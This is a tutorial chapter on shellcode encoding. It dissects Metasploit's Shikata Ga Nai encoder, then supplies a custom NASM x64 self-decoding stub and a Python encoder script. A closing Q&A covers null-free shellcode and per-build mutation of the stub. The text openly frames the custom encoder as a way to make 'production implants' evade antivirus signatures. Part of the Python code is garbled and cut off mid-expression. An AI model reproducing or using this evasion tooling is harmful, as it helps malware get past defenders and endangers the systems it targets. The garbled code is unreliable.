Shellcode Encoding — Shikata Ga Nai and Beyond
Encoding differs from encryption: an encoder transforms shellcode to avoid specific byte constraints (null bytes, non-printable bytes, specific forbidden byte ranges) while keeping the decode routine small and self-contained within the shellcode itself. The famous Shikata Ga Nai encoder (from Metasploit) produces polymorphic self-decoding shellcode — the decoder stub at the front of the encoded payload XORs the remaining bytes back to the original shellcode and then jumps to it. This chapter dissects how Shikata Ga Nai works at the assembly level, why modern AV detects it trivially, and what custom encoder design looks like for production implants.
Shikata Ga Nai — How It Works
Shikata Ga Nai ("It cannot be helped" — Japanese) output structure:
─────────────────────────────────────────────────────────────────────────
[Decoder stub — varies slightly each run due to garbage instructions]
[XOR key — 4 bytes, embedded in the stub]
[Encoded payload — original shellcode XOR'd with keystream]
At runtime (the decoder stub executes):
─────────────────────────────────────────────────────────────────────────
1. Locate self: use CALL/POP or FLDZ/FSTENV trick to get current EIP
2. Initialize counter (payload length / 4 rounds of 4-byte XOR)
3. XOR 4 bytes at [current_pos + offset] with key
4. Update key (key ^= decoded_dword) — feedback makes it polymorphic-looking
5. Advance pointer, decrement counter, loop
6. Jump to decoded original shellcode (at current_pos + stub_length)
SGN feedback scheme:
─────────────────────────────────────────────────────────────────────────
Initial key: K0 (random, embedded in stub)
Decode round 0: plaintext[0] = encoded[0] XOR K0
New key K1 = K0 XOR plaintext[0] (feedback: each decoded dword updates key)
Decode round 1: plaintext[1] = encoded[1] XOR K1
New key K2 = K1 XOR plaintext[1]
...
This makes each 4-byte window depend on the previous decoded output.
The encoded output bytes are NOT simply "plaintext XOR fixed_key".
Why modern AV detects SGN trivially:
─────────────────────────────────────────────────────────────────────────
The DECODER STUB is NOT encrypted — it's visible machine code at the start.
The decoder stub has a recognizable structure (FLDZ/FSTENV or CALL/POP
for position-independent EIP retrieval, XOR loop with FEEDBACK pattern).
AV vendors extracted the SGN stub pattern in 2006 and have flagged it since.
"Polymorphic" refers to the garbage byte injection between instructions
— not to the stub's overall structure, which is always recognizable.
DETECTION RATE on VirusTotal (as of 2026):
Default SGN-encoded msfvenom payload: 40-55/70 engines detect it.
The encoding does nothing to help at this point.Custom Self-Decoding Shellcode
; custom_decoder.asm — Custom position-independent shellcode decoder
; NASM x64 syntax
;
; This decoder:
; 1. Uses a custom byte pattern (not SGN's FLDZ/FSTENV trick)
; 2. Uses a simple rolling XOR with a 32-bit key
; 3. The decode loop is short enough to not look like SGN
; 4. Change the XOR initial value and the loop structure per build
;
; Build:
; nasm -f bin custom_decoder.asm -o decoder_stub.bin
; python3 encode_payload.py payload.bin decoder_stub.bin output.bin
bits 64
section .text
global _start
_start:
; ── Step 1: Get RIP (current instruction pointer) ────────────────
; Use a short CALL + POP trick to find our own address
; (alternative to FLDZ/FSTENV which is the SGN tell)
call get_rip
db 0x90, 0x90, 0x90, 0x90 ; padding bytes (could be junk/garbage ops)
; Encoded payload immediately follows (filled by build script)
encoded_payload:
; [bytes go here — length PAYLOAD_LEN, set by build script]
get_rip:
pop rax ; rax = address of padding (= encoded_payload - 4)
add rax, 4 ; rax = address of encoded_payload start
; ── Step 2: Initialize ────────────────────────────────────────────
mov ecx, PAYLOAD_LEN_DWORDS ; loop counter (payload length / 4)
mov edx, XOR_KEY_VALUE ; initial XOR key (patched by build script)
; ── Step 3: Decode loop ───────────────────────────────────────────
.decode_loop:
xor dword [rax], edx ; decode current 4 bytes
mov r8d, dword [rax] ; read decoded value
rol edx, 5 ; rotate key (different from SGN's feedback — no dependency)
xor edx, r8d ; mix decoded byte into key (custom feedback pattern)
add rax, 4 ; advance to next dword
dec ecx
jnz .decode_loop ; loop until all dwords decoded
; ── Step 4: Execute decoded payload ───────────────────────────────
; rax now points past the decoded payload.
; Calculate start of payload (rax - payload_len):
sub rax, PAYLOAD_LEN
jmp rax ; execute decoded shellcode#!/usr/bin/env python3
"""encode_payload.py — Encode shellcode with the custom rolling XOR scheme
Reads a decoder stub template (with PAYLOAD_LEN_DWORDS and XOR_KEY_VALUE as
placeholders in binary), patches the constants, encodes the payload,
and concatenates stub + encoded payload into the final shellcode blob.
Usage:
python3 encode_payload.py payload.bin decoder_stub.bin output.bin
"""
import sys
import struct
import secrets
def custom_encode(data: bytes, key: int) -> bytes:
"""Custom rolling XOR matching the NASM decoder stub"""
encoded = bytearray()
# Process in 4-byte dwords
for i in range(0, len(data), 4):
chunk = data[i:i+4]
if len(chunk) < 4:
chunk = chunk + b'\x00' * (4 - len(chunk)) # pad last dword
pt_dword = struct.unpack('> 27)) & 0xFFFFFFFF # ROL 5
key ^= pt_dword # XOR with DECODED (plaintext) dword
return bytes(encoded)
def main():
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} payload.bin decoder_stub.bin output.bin")
sys.exit(1)
payload_path, stub_path, output_path = sys.argv[1], sys.argv[2], sys.argv[3]
with open(payload_path, "rb") as f:
payload = f.read()
with open(stub_path, "rb") as f:
stub_template = bytearray(f.read())
# Generate random initial XOR key
key = struct.unpack(' Questions & Answers
Why is Shikata Ga Nai still documented and used if AV detects it at 40-55/70 engines?
Because it still has narrow use cases: (1) It passes through network payloads that require specific byte constraints (null-free, alphanumeric-only shellcode for format-string exploits or SQL injection shellcode execution). The encoding wasn't designed for AV evasion — it was designed for character-set constraint satisfaction. (2) As a historical and educational baseline, every reverse engineer and malware analyst learns SGN's structure. Understanding it builds intuition for why self-decoding stubs work the way they do. (3) In environments with outdated or minimal AV (industrial control systems, IoT, embedded Windows), SGN-encoded payloads may still evade. For modern enterprise targets, SGN is useless for AV evasion and its main surviving utility is the null-byte avoidance property, which custom encoders can also achieve.
What does "null-free shellcode" mean and when is it a requirement?
Null-free means the shellcode contains no 0x00 bytes. This matters in specific exploitation contexts: when exploiting a string-handling vulnerability (buffer overflow via strcpy, gets, format string abuse), the vulnerable function uses null bytes as string terminators. If your shellcode contains a 0x00 byte, the string function stops copying at that point — the shellcode is truncated. Shellcode for these scenarios must be null-free. Achievable by: choosing instructions that don't emit null bytes (xor eax, eax instead of mov eax, 0), using encoders (SGN can produce null-free output by choosing an appropriate XOR key), or writing shellcode carefully to avoid instructions whose encoding happens to produce 0x00s. For injection scenarios (VirtualAllocEx/WriteProcessMemory), null bytes are fine because you're writing raw bytes, not through a C string function.
What makes a custom encoder meaningfully different from SGN in the eyes of AV detection?
The decoder stub's byte sequence. AV engines that detect SGN match specific byte patterns in the decoder stub — the FLDZ/FSTENV sequence for EIP retrieval, the specific XOR loop structure, the way the feedback key update is done. A custom encoder with: (1) a different EIP retrieval method (CALL/POP instead of FPU env), (2) a different loop structure (count up instead of down, different register assignment), (3) different feedback formula (ROL 5 instead of SGN's specific operation) — produces a decoder stub with completely different bytes. AV needs a new signature for the new stub. Per-build stub mutation (randomizing register assignments, inserting NOP variants, varying the loop counter direction) makes static signatures infeasible. The AV must then detect the behavior (code decodes itself and executes), which requires sandboxing or heuristics.